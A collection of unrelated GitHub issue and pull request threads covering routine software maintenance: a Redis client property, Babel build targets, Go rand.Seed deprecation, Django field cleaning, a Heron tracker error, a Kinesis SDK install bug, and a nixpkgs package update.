Make connected computed property

connected currently only reflects the result of initially trying to connect to the database.
I've made it a computed property that returns whether the underlying socket isConnected.
However, this socket property does not get updated in the event of a disconnect (only on socket.close()). I've noted this in the documentation.
Also various small code improvements.
Description

Motivation and Context

#56
How Has This Been Tested?

All tests still pass on macOS.
Checklist:

[ ] I have submitted a CLA form
[ ] If applicable, I have updated the documentation accordingly.
[ ] If applicable, I have added tests to cover my changes.

Codecov Report

Merging #57 into master will decrease coverage by 0.04%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #57      +/-   ##
==========================================
- Coverage   92.36%   92.32%   -0.05%
==========================================
  Files          45       45
  Lines        7913     7910       -3
==========================================
- Hits         7309     7303       -6
- Misses        604      607       +3

Impacted Files
Coverage Δ

Sources/Redis.swift
70.26% <100%> (-0.12%)
:arrow_down:

Sources/RedisResp.swift
78.45% <100%> (-0.24%)
:arrow_down:

Sources/RedisInfo.swift
91.42% <0%> (-8.58%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cde7e07...2d5f1eb. Read the comment docs.


Cosmology calculations

cleaned up the cosmology calculations, moved all to the update_cosmology function and allows for switching cosmologies too

Coverage decreased (-0.1%) to 97.433% when pulling 3950a0e542ff1cd50677b2656662e2459e8165bf on cosmology_calculations into 3cf7e232f91db211fb2cf98eb16ed99e6737567f on master.


[api-minor] Add the Babel targets-option to avoid transpiling code for unsupported browsers

Currently we simply use the Babel preset-env in the legacy-builds of the PDF.js library. This has the side-effect of transpiling the code for very old browsers/environments, including ones that we (since many years) no longer support which unnecessarily bloats the size of the legacy-builds.
For the CSS files we're only targeting the supported browsers, and it's thus possible to extend that to also apply to Babel.
One of the most significant changes, with this patch, is that we'll no longer polyfill async/await in the legacy-builds. However, this shouldn't be an issue given the browsers that we currently support in PDF.js; please refer to:

https://github.com/mozilla/pdf.js/wiki/Frequently-Asked-Questions#faq-support
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function#browser_compatibility

/botio-linux preview

/botio test

Looks good to me; thanks!


[HW] Akshit Keoliya

Name: Akshit Keoliya
Email<EMAIL_ADDRESS>Linkedin Profile: https://www.linkedin.com/in/akshit-keoliya-063092187/

Attach the homework screenshots below for both step II and step III:

Hi there Leonardo, I see the "delete" step, but I don't see the completed screens from the CQL and Data modeling scenarios. Could you please provide those?
Also, l love your paintings. ;)

Closing due to inactivity.


[cleanup] Math/rand.Seed deprecated

Summary
Since Go 1.20 release, math/rand.Seed is marked "Deprecated"
Looks like five instances to consider updating:
find . -name "*.go" -type f -print | xargs grep .Seed

./pkg/pwgen/pwgen_test.go:      mrand.Seed(1789)
./pkg/pwgen/rand.go:    rand.Seed(time.Now().Unix() + int64(os.Getpid()+os.Getppid()))
./pkg/fsutil/fsutil.go: rand.Seed(time.Now().UnixNano())
./pkg/gitconfig/config_test.go: rand.Seed(time.Now().Unix())
./internal/action/binary_test.go:       rand.Seed(42)

Usually "Deprecated" just means it's finally stable ;)
But I'll check what the recommendation is these days.

pkg/pwgen/rand.go This one can Go away once we don't need to support Go 1.20 anymore.
pkg/fsutil/fsutil.go Same here.

For the test files we actually rely on detemernistic output, so we will need some more changes. We need to introduce a global variable with a local generator and seed it like this New(NewSource(seed)). See https://pkg.go.dev/math/rand#Seed

@dominikschulz
Hi, I'd like to take on this issue if that's okay.

@orangekame3 Feel free to do so

@dominikschulz
Thank you. I've created a PR. Please check it out:
https://github.com/gopasspw/gopass/pull/2675

Hello @dominikschulz !
I see the last pull request on this issue is from last year, but I see the  good-first-issue tag.
Do you mind if I open my own PR?

@lhardt Please go ahead. It should be as simple as taking the previous PR and fixing the merge conflicts and then doing the changes that were requested in there if you want.
Or you can try and do it your way too if you have another idea to do it.

@dominikschulz  Can this be marked as closed following #2953?
I guess #2873  can be closed following #2954 too

Fixed by #2953


Tejas

🛠 Issue (1477)
Closes #1477
Description
added a new project named pokedex which is a website dedicated to Pokemon. The website gives the details of pokemon (such as types, description etc.) when the name of pokemon is selected from the scroll bar or typed in the search bar.
Type of change

[x] New Project

Checklist:

[x] I have made this from my own
[x] I have taken help from some online resourses
[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] My changes generate no new warnings

ATTACH SCREEN-SHOTS / DEPLOYMENT LINK

@TusharKesarwani @harshit-paneri  please review it


Fixed #35342 -- Increased Integer clean reliability.

Trac ticket number

ticket-35342
Branch description
During the full_clean( ) routine, when an IntegerField is being cleaned and the code calls the field's to_python( ) method, if the value of the field is a float, it will just be converted to an integer using int(value). As it is characteristic of python's native int( ) function, it converts any float to int regardless of decimal places and approximations necessary, allowing for examples like this to happen:
exModel = ModelWithIntegerField(value=1.2)
>>   exModel.value     #1.2
exModel.clean_fields() #no validation error raised
>>   exModel.value     #1

I don't know if this behaviour is because of ticket #24229, but I believe there are better ways than just allowing any number through IntegerField verification as long as it's a number, regardless of how it affects the output.
My suggestions to improve this are:
1# Check first if it's a float type then verify if the numbers after the decimal point are 0 if value%1 == 0, if they are, no problem converting, if not raise a TypeError as it would distort the original value without warning.
Checklist

[x] This PR targets the main branch.
[x] The commit message is written in past tense, mentions the ticket number, and ends with a period.
[x] I have checked the "Has patch" ticket flag in the Trac system.
[x] I have added or updated relevant tests.
[ ] I have added or updated relevant docs, including release notes if applicable.
[ ] For UI changes, I have attached screenshots in both light and dark modes.

Closing per ticket


Unable to start heron-tracker

Hi,
I have installed Apache Aurora in my cluster. I have tested Aurora by submitting jobs, and seems to work fine. However, I get the following error when starting the heron tracker. There are no issues with submission of topologies.
$ heron-tracker
08 Jun 2016 15:13:47-INFO:main.py:183: Running on port: 8888
08 Jun 2016 15:13:47-INFO:main.py:184: Using config file: /root/.herontools/conf/heron_tracker.yaml
08 Jun 2016 15:13:47-INFO:statemanagerfactory.py:61: Connecting to zk hostport: localhost:2181 rootpath: /heron
08 Jun 2016 15:13:47-INFO:connection.py:566: Connecting to localhost:2181
08 Jun 2016 15:13:47-INFO:connection.py:276: Sending request(xid=None): Connect(protocol_version=0, last_zxid_seen=0, time_out=10000, session_id=0, passwd='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', read_only=None)
08 Jun 2016 15:13:47-INFO:client.py:378: Zookeeper connection established, state: CONNECTED
08 Jun 2016 15:13:47-INFO:statemanagerfactory.py:81: Connecting to file state with rootpath: /root/.herondata/repository/state/local
08 Jun 2016 15:13:47-INFO:zkstatemanager.py:93: Adding children watch for path: /heron/topologies
08 Jun 2016 15:13:47-INFO:connection.py:276: Sending request(xid=1): GetChildren(path='/heron/topologies', watcher=<bound method ChildrenWatch._watcher of <kazoo.recipe.watchers.ChildrenWatch object at 0x7f04062f1350>>)
08 Jun 2016 15:13:47-INFO:connection.py:344: Received error(xid=1) NoNodeError((), {})
Traceback (most recent call last):
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 319, in execute
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 254, in _wrap_coverage
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 286, in _wrap_profiling
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 362, in _execute
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 420, in execute_entry
  File "/root/bin/heron-tracker/.bootstrap/_pex/pex.py", line 425, in execute_module
  File "/usr/lib/python2.7/runpy.py", line 180, in run_module
    fname, loader, pkg_name)
  File "/usr/lib/python2.7/runpy.py", line 72, in _run_code
    exec code in run_globals
  File "/root/bin/heron-tracker/heron/tracker/src/python/main.py", line 194, in <module>
  File "/root/bin/heron-tracker/heron/tracker/src/python/main.py", line 189, in main
  File "/root/bin/heron-tracker/heron/tracker/src/python/main.py", line 42, in __init__
  File "/root/bin/heron-tracker/heron/tracker/src/python/tracker.py", line 79, in synch_topologies
  File "/root/bin/heron-tracker/heron/statemgrs/src/python/zkstatemanager.py", line 80, in get_topologies
  File "/root/bin/heron-tracker/heron/statemgrs/src/python/zkstatemanager.py", line 95, in _get_topologies_with_watch
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/recipe/watchers.py", line 273, in __call__
    self._get_children()
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/recipe/watchers.py", line 22, in wrapper
    return func(*args, **kwargs)
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/recipe/watchers.py", line 283, in _get_children
    self._path, self._watcher)
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/retry.py", line 122, in __call__
    return func(*args, **kwargs)
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/client.py", line 945, in get_children
    return self.get_children_async(path, watch, include_data).get()
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/handlers/threading.py", line 107, in get
    raise self._exception
kazoo.exceptions.NoNodeError: ((), {})
08 Jun 2016 15:13:50-ERROR:connection.py:558: Unhandled exception in connection loop
Traceback (most recent call last):
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/protocol/connection.py", line 526, in _connect_attempt
    self._send_ping(connect_timeout)
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/protocol/connection.py", line 445, in _send_ping
    self._submit(PingInstance, connect_timeout, PING_XID)
  File "/root/.pex/install/kazoo-1.3.1-py2.7.egg.9e0018919913c23864670dfb4abcbd86b8867ea6/kazoo-1.3.1-py2.7.egg/kazoo/protocol/connection.py", line 272, in _submit
    if request.type:
AttributeError: 'NoneType' object has no attribute 'type'

Note that Tracker does not create any zookeeper nodes itself. It is a readonly service. If you launch the Tracker without creating /topologies node under the rootpath, Tracker will fail with a NoNodeError.
http://twitter.github.io/heron/docs/operators/heron-tracker/

@javi1104 - this has been fixed in 0.14.3 pre-release.  You are right in that it is a ready only service!


Analyzer Feedback from IntelliJ

I have a big big big problem with dart analysis.
When i run project , IDE Intellisense not working at all , unitl i refresh the dart analysis server

@mohsenzamani22 , can you add more details? How to reproduce? There is not enough information in your report for us to proceed.


fix font-scanner warning

when running npm run app-start the following warning is shown
This fixes [app] (node:50073) Electron: Loading non-context-aware native module in renderer: '~/git/insomnia/packages/insomnia-app/node_modules/font-scanner/build/Release/fontmanager.node'. This is deprecated, see https://github.com/electron/electron/issues/18397.
Solution:

create preload.ts and webpack resolver
create api object for preloading things in mixed and isolated context
add types

Note: the other node-libcurl warning can also be resolved but harder to untangle than font-scanner.

Closes INS-1179

Closing #4186 removes font-scanner


Entity belongs to Screen has hidden child

There's nothing inside Text but entity.children shows a hidden child.
https://playcanvas.com/project/634274/overview/childtest

Entities that have graphical representations have child graph nodes which locate the mesh instances for the 3D data.
model components, image and text elements and sprites all have GraphNode children at runtime.

@daredevildave I think every internal object/componets should be hidden. I can nothing to do with it, and makes me confusing when I trying to make such as  destroyAllChildren.


fix ttl expiry does not take effect

Fixes #12265
Motivation
fix ttl expiry does not take effect
Modifications
When ManagedLedgerImpl.getPositionAfterN

check whether the  currentLeder contains entry when count the entries of currentLeder
check the result and LAC first before return

Verifying this change
add test in ManagedLedgerTest.testGetPositionAfterN
If yes was chosen, please highlight the changes

Dependencies (does it add or upgrade a dependency): ( no)
The public API: ( no)
The schema: (no)
The default values of configurations: (no)
The wire protocol: (no)
The rest endpoints: (no)
The admin cli options: (no)
Anything that affects deployment: (no)

Documentation
No-doc-need since this pull request is a inner bug fix.

@eolivelli PTAL


Custom event render is not work in month view

I work in this library and add event render and work in day and week view but not working in month view

Are you sure it's not hidden under the "read more"?
can you provide example sandbox? This is a basic setup example and I can add events in month view: https://codesandbox.io/p/sandbox/standard-x24pq

This page is not present
في السبت، ١٥ يونيو ٢٠٢٤ ١٠:٥١ ص Abdulraoof @.***> كتب:

Are you sure it's not hidden under the "read more"?
can you provide example sandbox? This is a basic setup example and I can
add events in month view: https://codesandbox.io/p/sandbox/standard-x24pq
—
Reply to this email directly, view it on GitHub
https://github.com/aldabil21/react-scheduler/issues/376#issuecomment-2169189856,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AIMKRT7QLPFMZKRE6UGODD3ZHPW7XAVCNFSM6AAAAABJGKOZDWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNRZGE4DSOBVGY
.
You are receiving this because you authored the thread.Message ID:
@.***>

You can find the basic demo in the readme


chore(ethportal-api): bump validator to 0.19.0 (#1612)

What was wrong?
A transitive dependency (idna) via validator was causing Cargo Audit to show a security vulnerability.
How was it fixed?
Bumped validator to its most recent released version, making a slight syntax change caused by a breaking change to that crate.
To-Do

[X] Clean up commit history and use conventional commits.

I opened this issue to track this PR!


operator [N] [CI] debezium-operator (2.4.0)

Thanks submitting your Operator. Please check below list before you create your Pull Request.
New Submissions

[x] Are you familiar with our contribution guidelines?
[ ] Have you packaged and deployed your Operator for Operator Framework?

No with the entire OH structure. The link seems obsolete (for one it uses the outdate database catalog format).

[x] Is your submission signed?
[x] Is operator icon set?

Your submission should not

[x] Modify more than one operator
[x] Modify an Operator you don't own
[x] Rename an operator - please remove and add with a different name instead
[x] Modify any files outside the above mentioned folders
[x] Contain more than one commit. Please squash your commits.

Operator Description must contain (in order)

[x] Description about the managed Application and where to find more information
[x] Features and capabilities of your Operator and how to use it
[x] Any manual steps about potential pre-requisites for using your Operator

Operator Metadata should contain

[x] Human readable name and 1-liner description about your Operator
[x] Valid category name1
[x] One of the pre-defined capability levels2
[x] Links to the maintainer, source code and documentation
[x] Example templates for all Custom Resource Definitions intended to be used
[ ] A quadratic logo
Not really sure what that is.

/merge possible

/merge possible

/merge possible

/merge possible

/merge possible

/merge possible

/merge possible

@mporrato @Allda  Not sure what the process is. Is there something missing or something we can do to get this merged? Don't wanna rush you if there is a process -- it's just not visible so I was curious if we can help somehow.

/merge possible


Files >1.6 GB fail to upload

When I upload files >1.6GB, the upload runs for a long time, then fails with error *googleapi.Error googleapi: Error 401: Invalid Credentials, authError. The file exists in Drive as a 0-byte file.
This sounds like a server problem, but perhaps there is a workaround possible.

Resumable uploads for large files are tested and landed in e8f2736003288da377c8192e63f476c940bb0f3e; if you can try it out and see if that fixes this for you, I'd be interested to hear.

Closing under the belief that this has been fixed with the resumable upload path.


[BUG] C++ Producer SDK doesn't install (copy files to /usr)

Logging
Trying to build the C++ Producer SDK and it doesn't actually install as expected
/usr/bin/cmake -S/opt/amazon-kinesis-video-streams-producer-sdk-cpp -B/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build --check-build-system CMakeFiles/Makefile.cmake 0
/usr/bin/cmake -E cmake_progress_start /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/CMakeFiles /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build//CMakeFiles/progress.marks
make  -f CMakeFiles/Makefile2 all
make[1]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/build.make dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/depend
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
cd /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build && /usr/bin/cmake -E cmake_depends "Unix Makefiles" /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/DependInfo.cmake --color=
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/build.make dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/build
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[2]: Nothing to be done for 'dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspicUtils.dir/build'.
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
[ 23%] Built target kvspicUtils
make  -f dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/build.make dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/depend
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
cd /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build && /usr/bin/cmake -E cmake_depends "Unix Makefiles" /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp/dependency/libkvscproducer/kvscproducer-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/DependInfo.cmake --color=
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/build.make dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/build
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[2]: Nothing to be done for 'dependency/libkvscproducer/kvscproducer-src/CMakeFiles/kvsCommonCurl.dir/build'.
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
[ 33%] Built target kvsCommonCurl
make  -f dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/build.make dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/depend
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
cd /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build && /usr/bin/cmake -E cmake_depends "Unix Makefiles" /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/DependInfo.cmake --color=
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/build.make dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/build
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[2]: Nothing to be done for 'dependency/libkvscproducer/kvscproducer-src/dependency/libkvspic/kvspic-src/CMakeFiles/kvspic.dir/build'.
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
[ 75%] Built target kvspic
make  -f dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/build.make dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/depend
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
cd /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build && /usr/bin/cmake -E cmake_depends "Unix Makefiles" /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp/dependency/libkvscproducer/kvscproducer-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/DependInfo.cmake --color=
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/build.make dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/build
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[2]: Nothing to be done for 'dependency/libkvscproducer/kvscproducer-src/CMakeFiles/cproducer.dir/build'.
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
[ 89%] Built target cproducer
make  -f CMakeFiles/KinesisVideoProducer.dir/build.make CMakeFiles/KinesisVideoProducer.dir/depend
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
cd /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build && /usr/bin/cmake -E cmake_depends "Unix Makefiles" /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/CMakeFiles/KinesisVideoProducer.dir/DependInfo.cmake --color=
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make  -f CMakeFiles/KinesisVideoProducer.dir/build.make CMakeFiles/KinesisVideoProducer.dir/build
make[2]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[2]: Nothing to be done for 'CMakeFiles/KinesisVideoProducer.dir/build'.
make[2]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
[100%] Built target KinesisVideoProducer
make[1]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
/usr/bin/cmake -E cmake_progress_start /opt/amazon-kinesis-video-streams-producer-sdk-cpp/build/CMakeFiles 0
make  -f CMakeFiles/Makefile2 preinstall
make[1]: Entering directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
make[1]: Nothing to be done for 'preinstall'.
make[1]: Leaving directory '/opt/amazon-kinesis-video-streams-producer-sdk-cpp/build'
Install the project...
/usr/bin/cmake -P cmake_install.cmake
-- Install configuration: ""

Describe the bug
make install doesn't install to CMAKE_INSTALL_PREFIX like it should
To Reproduce
Steps to reproduce the behavior:

cmake -DBUILD_GSTREAMER_PLUGIN=OFF -DBUILD_DEPENDENCIES=OFF -DCMAKE_INSTALL_PREFIX=/usr ..
make
make install
Notice that it didn't copy any files to /usr

Expected behavior
Shared libraries and headers copied to /usr
SDK version number
3.2.0
Open source building
Built with Debian Bullseye
Platform (please complete the following information):

OS: Debian
Processor: x64
Version: Bullseye

Hi, can you please check if you face the same issue with -DBUILD_DEPENDENCIES=ON?

Still has the same problem

Facing the same issue. Any progress on it?

https://github.com/awslabs/amazon-kinesis-video-streams-producer-sdk-cpp/pull/905 --- this merged into develop. Please give it a try and reach out to us if it does not work. Thanks!

[  2%] Built target kvs_gstreamer_file_uploader_sample
[ 39%] Built target kvspic
[ 59%] Built target kvspicUtils
[ 68%] Built target kvsCommonCurl
[ 79%] Built target cproducer
[ 88%] Built target KinesisVideoProducer
[ 89%] Built target kvs_gstreamer_audio_video_sample
[ 91%] Built target kvs_gstreamer_multistream_sample
[ 92%] Built target kvs_gstreamer_sample
[ 96%] Built target gstkvssink
[100%] Built target KinesisVideoProducerJNI

Is the output of make but when I look in the build dir the plugin doesn't exist.


[Suggestion] Mute the SFX

I'd like to have the option to turn off the starting SFX that plays now everytime I load Godot, or atleast a way to change it if ever.

Thanks for your suggestion, playing music at startup is an additional function of the night breeze theme, you can mute it by comment out this line of code.
And if you don't mind, you can also re-download this plugin. I had set the night breeze theme as the default mute.


Build randomly fails inside of ScriptInterpreter

There is an issue with the build randomly failing in the ScriptInterpreter about 1/10 runs. See this build failure to see the exact test case that is failing. Notice that the next build passes without any modification to the source code.

This ended up being a mutability issue inside of the ScriptInterpreter with how we were storing op counts insdie the script. This is fixed in #21


ratarmount: 0.15.1 -> 0.15.2

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for ratarmount is: Mounts archives as read-only file systems by way of indexing
meta.homepage for ratarmount is: https://github.com/mxmlnkn/ratarmount
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.15.2 with grep in /nix/store/nz6gp1c2w45mifvjvg6pzsmik1zas4sp-python3.12-ratarmount-0.15.2
found 0.15.2 in filename of file in /nix/store/nz6gp1c2w45mifvjvg6pzsmik1zas4sp-python3.12-ratarmount-0.15.2

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

4 package rebuild(s)

First fifty rebuilds by attrpath

python311Packages.ratarmount
python312Packages.ratarmount
ratarmount

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/nz6gp1c2w45mifvjvg6pzsmik1zas4sp-python3.12-ratarmount-0.15.2 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A ratarmount https://github.com/r-ryantm/nixpkgs/archive/b864172bbddca924a70c1b9bca49b78d3010b3e7.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/b864172bbddca924a70c1b9bca49b78d3010b3e7#ratarmount

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/nz6gp1c2w45mifvjvg6pzsmik1zas4sp-python3.12-ratarmount-0.15.2
ls -la /nix/store/nz6gp1c2w45mifvjvg6pzsmik1zas4sp-python3.12-ratarmount-0.15.2/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

4 packages built:

python311Packages.ratarmount
python311Packages.ratarmount.dist
ratarmount (python312Packages.ratarmount)
ratarmount.dist (python312Packages.ratarmount.dist)

Maintainer pings
cc @mxmlnkn for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

Duplicate of #340695


Add support for status in Gradle metadata

This pull request adds support for the "status" property in Gradle metadata. It is exposed as an attribute, which is internally mapped to the "status" property of dependency metadata.
We're doing the minimal work here: while we serialize things as attributes, the status is the only one supported, and it's also only written for Ivy dependency metadata.
I'm also unsure where to define the status attribute, so for now I left it in a private interface (ProjectInternal), in case we plan to move it elsewhere.
See #3462 and https://github.com/gradle/gradle/issues/3394#issuecomment-344021206

Since there's no issue for this PR, I'll comment here: we should add test coverage for the status attribute in Maven repositories as well. It's quite possible to use latest.release in a Maven repository, and it's quite possible to inspect the status and statusScheme via a component metadata rule.
For Maven POM, the status attribute is inferred based on whether SNAPSHOT appears in the version. We should decide if we want to do the same thing for our module metadata, or if we should explicitly publish the status attribute. I think the latter would be more consistent.


check for truthiness of results

Otherwise, it is possible to get this error:
NoMethodError: undefined method `length' for nil:NilClass

:+1:


ci: golangci-lint@v3 and go-version 1.18 pinned

Looks good to me! Didn't do any manul e2e testing as this should be a low risk change.


[Bug]: Lock actions taking a long time

What happened?
Lock/Unlock actions are taking a long time for the last 1-2 weeks. I've had an automation setup that when I arrive home or leave, my door auto locks and unlocks. As of 1-2 weeks ago, it completely stopped working. I spent a few hours testing last night, and when I updated to the beta, suddenly my door started unlocking and actions started working, although very slow.
The odd thing is though that when I manually lock and unlock the door, I get the notification from HomeKit and Eufy almost immediately. When I try to control the lock from the Eufy app, it also works basically immediately. Through HomeKit, the actions take 30-45 seconds, maybe even longer.
Device Type
other (UnSupported)
Plugin Version
beta (Best Effort)
HomeBridge Version
v1.6.x (Supported)
NodeJS Version
v18 (Supported)
Operating System
Ubuntu 18.04+ (Supported)
Relevant log output
